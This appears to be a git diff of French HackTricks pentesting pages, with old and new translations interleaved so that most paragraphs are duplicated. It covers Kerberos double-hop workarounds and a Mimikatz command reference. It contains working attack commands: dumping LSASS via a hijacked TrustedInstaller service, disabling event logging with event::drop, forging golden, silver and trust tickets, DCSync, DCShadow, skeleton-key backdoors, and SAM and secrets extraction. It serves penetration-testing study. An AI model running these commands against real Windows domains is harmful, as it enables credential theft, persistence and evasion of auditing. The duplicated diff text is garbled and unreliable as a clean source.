Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos GitHub.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Introduction
Le problème du "double saut" Kerberos survient lorsqu'un attaquant tente d'utiliser **l'authentification Kerberos à travers deux** **sauts**, par exemple en utilisant **PowerShell**/**WinRM**.
Le problème de "Double Hop" Kerberos apparaît lorsqu'un attaquant tente d'utiliser **l'authentification Kerberos à travers deux** **hops**, par exemple en utilisant **PowerShell**/**WinRM**.
Lorsqu'une **authentification** se produit via **Kerberos**, les **informations d'identification** ne sont pas mises en cache en **mémoire**. Par conséquent, si vous exécutez mimikatz, vous ne trouverez pas les informations d'identification de l'utilisateur sur la machine même s'il exécute des processus.
Lorsqu'une **authentification** se produit via **Kerberos**, les **identifiants** **ne sont pas** mis en cache dans **la mémoire.** Par conséquent, si vous exécutez mimikatz, vous **ne trouverez pas les identifiants** de l'utilisateur sur la machine même s'il exécute des processus.
Cela est dû au fait que lors de la connexion avec Kerberos, les étapes suivantes sont suivies :
Ceci est dû au fait que lors de la connexion avec Kerberos, voici les étapes :
1. L'utilisateur1 fournit des informations d'identification et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur1.
2. L'utilisateur1 utilise le **TGT** pour demander un **ticket de service** pour se **connecter** au Serveur1.
3. L'utilisateur1 se **connecte** au **Serveur1** et fournit le **ticket de service**.
4. Le **Serveur1** n'a pas les **informations d'identification** de l'utilisateur1 en cache ni le **TGT** de l'utilisateur1. Par conséquent, lorsque l'utilisateur1 du Serveur1 essaie de se connecter à un deuxième serveur, il **n'est pas en mesure de s'authentifier**.
1. L'utilisateur1 fournit des identifiants et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur1.
2. L'utilisateur1 utilise le **TGT** pour demander un **ticket de service** pour **se connecter** à Server1.
3. L'utilisateur1 **se connecte** à **Server1** et fournit le **ticket de service**.
4. **Server1** **n'a pas** les **identifiants** de l'utilisateur1 mis en cache ni le **TGT** de l'utilisateur1. Par conséquent, lorsque l'utilisateur1 de Server1 essaie de se connecter à un deuxième serveur, il **n'est pas en mesure de s'authentifier**.
### Délégation non contrainte
Si la **délégation non contrainte** est activée sur le PC, cela ne se produira pas car le **Serveur** obtiendra un **TGT** de chaque utilisateur y accédant. De plus, si la délégation non contrainte est utilisée, vous pouvez probablement **compromettre le contrôleur de domaine** à partir de .\
[**Plus d'informations sur la page de la délégation non contrainte**](unconstrained-delegation.md).
Si la **délégation non contrainte** est activée sur le PC, cela ne se produira pas car le **Serveur** obtiendra un **TGT** de chaque utilisateur y accédant. De plus, si la délégation non contrainte est utilisée, vous pouvez probablement **compromettre le contrôleur de domaine** à partir de cela.\
[**Plus d'infos sur la page de délégation non contrainte**](unconstrained-delegation.md).
### CredSSP
Une autre façon d'éviter ce problème, qui est [**notablement peu sécurisée**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), est le **Fournisseur de prise en charge de la sécurité des informations d'identification**. Selon Microsoft :
Une autre façon d'éviter ce problème qui est [**notablement peu sécurisé**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) est le **Credential Security Support Provider**. De Microsoft :
> L'authentification CredSSP délègue les informations d'identification de l'utilisateur de l'ordinateur local à un ordinateur distant. Cette pratique augmente le risque de sécurité de l'opération à distance. Si l'ordinateur distant est compromis, lorsque les informations d'identification lui sont transmises, les informations d'identification peuvent être utilisées pour contrôler la session réseau.
> L'authentification CredSSP délègue les identifiants de l'utilisateur de l'ordinateur local à un ordinateur distant. Cette pratique augmente le risque de sécurité de l'opération distante. Si l'ordinateur distant est compromis, lorsque les identifiants lui sont transmis, les identifiants peuvent être utilisés pour contrôler la session réseau.
Il est fortement recommandé de désactiver **CredSSP** sur les systèmes de production, les réseaux sensibles et des environnements similaires en raison de problèmes de sécurité. Pour déterminer si **CredSSP** est activé, la commande `Get-WSManCredSSP` peut être exécutée. Cette commande permet de **vérifier l'état de CredSSP** et peut même être exécutée à distance, à condition que **WinRM** soit activé.
Il est fortement recommandé que **CredSSP** soit désactivé sur les systèmes de production, les réseaux sensibles et des environnements similaires en raison de préoccupations de sécurité. Pour déterminer si **CredSSP** est activé, la commande `Get-WSManCredSSP` peut être exécutée. Cette commande permet de **vérifier l'état de CredSSP** et peut même être exécutée à distance, à condition que **WinRM** soit activé.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Solutions
## Solutions de contournement
### Commande Invoke
### Invoke Command
Pour résoudre le problème du double saut, une méthode impliquant une `Invoke-Command` imbriquée est présentée. Cela ne résout pas le problème directement mais offre une solution de contournement sans avoir besoin de configurations spéciales. Cette approche permet d'exécuter une commande (`hostname`) sur un serveur secondaire via une commande PowerShell exécutée à partir d'une machine d'attaque initiale ou via une session PS précédemment établie avec le premier serveur. Voici comment procéder :
Pour résoudre le problème du double saut, une méthode impliquant un `Invoke-Command` imbriqué est présentée. Cela ne résout pas le problème directement mais offre une solution de contournement sans nécessiter de configurations spéciales. L'approche permet d'exécuter une commande (`hostname`) sur un serveur secondaire via une commande PowerShell exécutée depuis une machine d'attaque initiale ou à travers une PS-Session précédemment établie avec le premier serveur. Voici comment cela se fait :
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### Enregistrement de la configuration de la session PSSession
Alternativement, établir une PS-Session avec le premier serveur et exécuter la `Invoke-Command` en utilisant `$cred` est suggéré pour centraliser les tâches.
Une solution pour contourner le problème du double saut implique d'utiliser `Register-PSSessionConfiguration` avec `Enter-PSSession`. Cette méthode nécessite une approche différente de celle d'`evil-winrm` et permet une session qui ne souffre pas de la limitation du double saut.
### Enregistrer la configuration de PSSession
Une solution pour contourner le problème du double saut implique d'utiliser `Register-PSSessionConfiguration` avec `Enter-PSSession`. Cette méthode nécessite une approche différente de `evil-winrm` et permet une session qui ne souffre pas de la limitation du double saut.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
@ -68,28 +74,28 @@ klist
```
### PortForwarding
Pour les administrateurs locaux sur une cible intermédiaire, le port forwarding permet d'envoyer des requêtes à un serveur final. En utilisant `netsh`, une règle peut être ajoutée pour le port forwarding, ainsi qu'une règle de pare-feu Windows pour autoriser le port redirigé.
Pour les administrateurs locaux sur une cible intermédiaire, le port forwarding permet d'envoyer des requêtes à un serveur final. En utilisant `netsh`, une règle peut être ajoutée pour le port forwarding, ainsi qu'une règle de pare-feu Windows pour autoriser le port transféré.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` peut être utilisé pour transmettre des requêtes WinRM, potentiellement comme une option moins détectable si la surveillance de PowerShell est une préoccupation. La commande ci-dessous démontre son utilisation:
`winrs.exe` peut être utilisé pour transférer des requêtes WinRM, potentiellement comme une option moins détectable si la surveillance de PowerShell est une préoccupation. La commande ci-dessous démontre son utilisation :
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
L'installation d'OpenSSH sur le premier serveur permet de contourner le problème du double saut, particulièrement utile pour les scénarios de boîte de saut. Cette méthode nécessite l'installation en ligne de commande et la configuration d'OpenSSH pour Windows. Lorsqu'il est configuré pour l'authentification par mot de passe, cela permet au serveur intermédiaire d'obtenir un TGT au nom de l'utilisateur.
L'installation d'OpenSSH sur le premier serveur permet de contourner le problème de double-hop, particulièrement utile pour les scénarios de jump box. Cette méthode nécessite l'installation et la configuration d'OpenSSH pour Windows via CLI. Lorsqu'il est configuré pour l'authentification par mot de passe, cela permet au serveur intermédiaire d'obtenir un TGT au nom de l'utilisateur.
#### Étapes d'installation d'OpenSSH
1. Téléchargez et déplacez le dernier fichier zip de la version d'OpenSSH sur le serveur cible.
2. Décompressez et exécutez le script `Install-sshd.ps1`.
3. Ajoutez une règle de pare-feu pour ouvrir le port 22 et vérifiez que les services SSH sont en cours d'exécution.
3. Ajoutez une règle de pare-feu pour ouvrir le port 22 et vérifiez que les services SSH fonctionnent.
Pour résoudre les erreurs de `réinitialisation de connexion`, les autorisations peuvent nécessiter une mise à jour pour permettre à tout le monde de lire et d'exécuter l'accès au répertoire OpenSSH.
Pour résoudre les erreurs `Connection reset`, les autorisations peuvent devoir être mises à jour pour permettre à tout le monde un accès en lecture et en exécution sur le répertoire OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -104,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Soutenir HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**merch officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
**Try Hard Security Group**

View file

@ -1,68 +1,71 @@
# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Cette page est basée sur une page de [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Consultez l'original pour plus d'informations !
**Cette page est basée sur une de [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Consultez l'original pour plus d'infos !
## LM et texte en clair en mémoire
## LM et mots de passe en clair en mémoire
À partir de Windows 8.1 et de Windows Server 2012 R2, des mesures significatives ont été mises en place pour protéger contre le vol d'informations d'identification :
Depuis Windows 8.1 et Windows Server 2012 R2, des mesures significatives ont été mises en œuvre pour protéger contre le vol de credentials :
- Les **hachages LM et les mots de passe en clair** ne sont plus stockés en mémoire pour renforcer la sécurité. Un paramètre de registre spécifique, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, doit être configuré avec une valeur DWORD de `0` pour désactiver l'authentification Digest, garantissant que les mots de passe "en clair" ne sont pas mis en cache dans LSASS.
- **Les hachages LM et les mots de passe en clair** ne sont plus stockés en mémoire pour améliorer la sécurité. Un paramètre de registre spécifique, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ doit être configuré avec une valeur DWORD de `0` pour désactiver l'authentification Digest, garantissant que les mots de passe "en clair" ne sont pas mis en cache dans LSASS.
- La **Protection LSA** est introduite pour protéger le processus Autorité de sécurité locale (LSA) contre la lecture non autorisée de la mémoire et l'injection de code. Cela est réalisé en marquant le LSASS comme un processus protégé. L'activation de la Protection LSA implique :
1. La modification du registre à _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ en définissant `RunAsPPL` sur `dword:00000001`.
2. La mise en œuvre d'un objet de stratégie de groupe (GPO) qui impose ce changement de registre sur les appareils gérés.
- **La protection LSA** est introduite pour protéger le processus de l'Autorité de Sécurité Locale (LSA) contre la lecture non autorisée de la mémoire et l'injection de code. Cela est réalisé en marquant LSASS comme un processus protégé. L'activation de la protection LSA implique :
1. Modifier le registre à _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ en définissant `RunAsPPL` sur `dword:00000001`.
2. Mettre en œuvre un objet de stratégie de groupe (GPO) qui impose ce changement de registre sur les appareils gérés.
Malgré ces protections, des outils comme Mimikatz peuvent contourner la Protection LSA en utilisant des pilotes spécifiques, bien que de telles actions soient susceptibles d'être enregistrées dans les journaux d'événements.
Malgré ces protections, des outils comme Mimikatz peuvent contourner la protection LSA en utilisant des pilotes spécifiques, bien que de telles actions soient susceptibles d'être enregistrées dans les journaux d'événements.
### Contrebalancer la suppression de SeDebugPrivilege
Les administrateurs ont généralement le privilège SeDebug, ce qui leur permet de déboguer des programmes. Ce privilège peut être restreint pour empêcher les vidages mémoire non autorisés, une technique courante utilisée par les attaquants pour extraire des informations d'identification de la mémoire. Cependant, même avec ce privilège supprimé, le compte TrustedInstaller peut toujours effectuer des vidages mémoire en utilisant une configuration de service personnalisée :
Les administrateurs ont généralement SeDebugPrivilege, leur permettant de déboguer des programmes. Ce privilège peut être restreint pour empêcher les dumps de mémoire non autorisés, une technique courante utilisée par les attaquants pour extraire des credentials de la mémoire. Cependant, même avec ce privilège supprimé, le compte TrustedInstaller peut toujours effectuer des dumps de mémoire en utilisant une configuration de service personnalisée :
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Cela permet de copier la mémoire de `lsass.exe` dans un fichier, qui peut ensuite être analysé sur un autre système pour extraire les informations d'identification :
Cela permet de vider la mémoire de `lsass.exe` dans un fichier, qui peut ensuite être analysé sur un autre système pour extraire des identifiants :
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Options de Mimikatz
## Options Mimikatz
La manipulation des journaux d'événements dans Mimikatz implique deux actions principales : effacer les journaux d'événements et patcher le service Événement pour empêcher l'enregistrement de nouveaux événements. Voici les commandes pour effectuer ces actions :
La falsification des journaux d'événements dans Mimikatz implique deux actions principales : effacer les journaux d'événements et patcher le service d'événements pour empêcher l'enregistrement de nouveaux événements. Voici les commandes pour effectuer ces actions :
#### Effacement des journaux d'événements
- **Commande** : Cette action vise à supprimer les journaux d'événements, rendant plus difficile le suivi des activités malveillantes.
- Mimikatz ne fournit pas de commande directe dans sa documentation standard pour effacer directement les journaux d'événements via sa ligne de commande. Cependant, la manipulation des journaux d'événements implique généralement l'utilisation d'outils système ou de scripts en dehors de Mimikatz pour effacer des journaux spécifiques (par exemple, en utilisant PowerShell ou l'Observateur d'événements Windows).
- Mimikatz ne fournit pas de commande directe dans sa documentation standard pour effacer les journaux d'événements directement via sa ligne de commande. Cependant, la manipulation des journaux d'événements implique généralement l'utilisation d'outils système ou de scripts en dehors de Mimikatz pour effacer des journaux spécifiques (par exemple, en utilisant PowerShell ou le Visualiseur d'événements Windows).
#### Fonction expérimentale : Patch du service Événement
#### Fonctionnalité expérimentale : Patchage du service d'événements
- **Commande** : `event::drop`
- Cette commande expérimentale est conçue pour modifier le comportement du service de journalisation des événements, empêchant efficacement l'enregistrement de nouveaux événements.
- Cette commande expérimentale est conçue pour modifier le comportement du service d'enregistrement des événements, empêchant effectivement l'enregistrement de nouveaux événements.
- Exemple : `mimikatz "privilege::debug" "event::drop" exit`
- La commande `privilege::debug` garantit que Mimikatz fonctionne avec les privilèges nécessaires pour modifier les services système.
- La commande `event::drop` patche ensuite le service de journalisation des événements.
- La commande `event::drop` patch alors le service d'enregistrement des événements.
### Attaques de Tickets Kerberos
### Attaques de tickets Kerberos
### Création de Golden Ticket
Un Golden Ticket permet l'usurpation d'identité à l'échelle du domaine. Commande clé et paramètres :
Un Golden Ticket permet une usurpation d'accès à l'échelle du domaine. Commande clé et paramètres :
- Commande : `kerberos::golden`
- Paramètres :
@ -70,18 +73,18 @@ Un Golden Ticket permet l'usurpation d'identité à l'échelle du domaine. Comma
- `/sid` : L'identifiant de sécurité (SID) du domaine.
- `/user` : Le nom d'utilisateur à usurper.
- `/krbtgt` : Le hachage NTLM du compte de service KDC du domaine.
- `/ptt` : Injecte directement le ticket en mémoire.
- `/ptt` : Injecte directement le ticket dans la mémoire.
- `/ticket` : Enregistre le ticket pour une utilisation ultérieure.
Exemple :
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Création de Ticket Silver
### Création de Silver Ticket
Les Tickets Silver accordent l'accès à des services spécifiques. Commande clé et paramètres :
Les Silver Tickets accordent l'accès à des services spécifiques. Commande clé et paramètres :
- Commande : Similaire au Golden Ticket mais cible des services spécifiques.
- Commande : Semblable au Golden Ticket mais cible des services spécifiques.
- Paramètres :
- `/service` : Le service à cibler (par exemple, cifs, http).
- Autres paramètres similaires au Golden Ticket.
@ -92,106 +95,122 @@ mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-12345678
```
### Création de Ticket de Confiance
Les Tickets de Confiance sont utilisés pour accéder à des ressources entre domaines en exploitant les relations de confiance. Commande clé et paramètres :
Les Tickets de Confiance sont utilisés pour accéder aux ressources à travers les domaines en tirant parti des relations de confiance. Commande clé et paramètres :
- Commande : Similaire au Golden Ticket mais pour les relations de confiance.
- Commande : Semblable au Golden Ticket mais pour les relations de confiance.
- Paramètres :
- `/target` : Le FQDN du domaine cible.
- `/rc4` : Le hachage NTLM du compte de confiance.
- `/target` : Le FQDN du domaine cible.
- `/rc4` : Le hash NTLM pour le compte de confiance.
Exemple :
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### Commandes Kerberos Supplémentaires
### Commandes Kerberos supplémentaires
- **Liste des Tickets**:
- Commande: `kerberos::list`
- **Lister les tickets** :
- Commande : `kerberos::list`
- Liste tous les tickets Kerberos pour la session utilisateur actuelle.
- **Passer le Cache**:
- Commande: `kerberos::ptc`
- Injecte les tickets Kerberos à partir des fichiers cache.
- Exemple: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Passer le cache** :
- Commande : `kerberos::ptc`
- Injecte des tickets Kerberos à partir de fichiers de cache.
- Exemple : `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Passer le Ticket**:
- Commande: `kerberos::ptt`
- **Passer le ticket** :
- Commande : `kerberos::ptt`
- Permet d'utiliser un ticket Kerberos dans une autre session.
- Exemple: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- Exemple : `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Purger les Tickets**:
- Commande: `kerberos::purge`
- **Purger les tickets** :
- Commande : `kerberos::purge`
- Efface tous les tickets Kerberos de la session.
- Utile avant d'utiliser des commandes de manipulation de tickets pour éviter les conflits.
### Manipulation de l'Annuaire Actif
### Manipulation d'Active Directory
- **DCShadow**: Faire temporairement agir une machine comme un DC pour la manipulation d'objets AD.
- **DCShadow** : Faire temporairement agir une machine comme un DC pour la manipulation d'objets AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Imiter un DC pour demander des données de mot de passe.
- **DCSync** : Imiter un DC pour demander des données de mot de passe.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Accès aux Informations d'Identification
### Accès aux informations d'identification
- **LSADUMP::LSA**: Extraire les informations d'identification de LSA.
- **LSADUMP::LSA** : Extraire des informations d'identification de LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Imiter un DC en utilisant les données de mot de passe d'un compte d'ordinateur.
- **LSADUMP::NetSync** : Usurper un DC en utilisant les données de mot de passe d'un compte d'ordinateur.
- *Aucune commande spécifique fournie pour NetSync dans le contexte original.*
- **LSADUMP::SAM**: Accéder à la base de données SAM locale.
- **LSADUMP::SAM** : Accéder à la base de données SAM locale.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Décrypter les secrets stockés dans le registre.
- **LSADUMP::Secrets** : Déchiffrer les secrets stockés dans le registre.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Définir un nouveau hachage NTLM pour un utilisateur.
- **LSADUMP::SetNTLM** : Définir un nouveau hachage NTLM pour un utilisateur.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Récupérer les informations d'authentification de confiance.
- **LSADUMP::Trust** : Récupérer des informations d'authentification de confiance.
- `mimikatz "lsadump::trust" exit`
### Divers
- **MISC::Skeleton**: Injecter une porte dérobée dans LSASS sur un DC.
- **MISC::Skeleton** : Injecter une porte dérobée dans LSASS sur un DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Élévation de Privilèges
### Escalade de privilèges
- **PRIVILEGE::Backup**: Acquérir des droits de sauvegarde.
- **PRIVILEGE::Backup** : Acquérir des droits de sauvegarde.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Obtenir des privilèges de débogage.
- **PRIVILEGE::Debug** : Obtenir des privilèges de débogage.
- `mimikatz "privilege::debug" exit`
### Extraction d'Informations d'Identification
### Dumping d'informations d'identification
- **SEKURLSA::LogonPasswords**: Afficher les informations d'identification des utilisateurs connectés.
- **SEKURLSA::LogonPasswords** : Afficher les informations d'identification des utilisateurs connectés.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Extraire les tickets Kerberos de la mémoire.
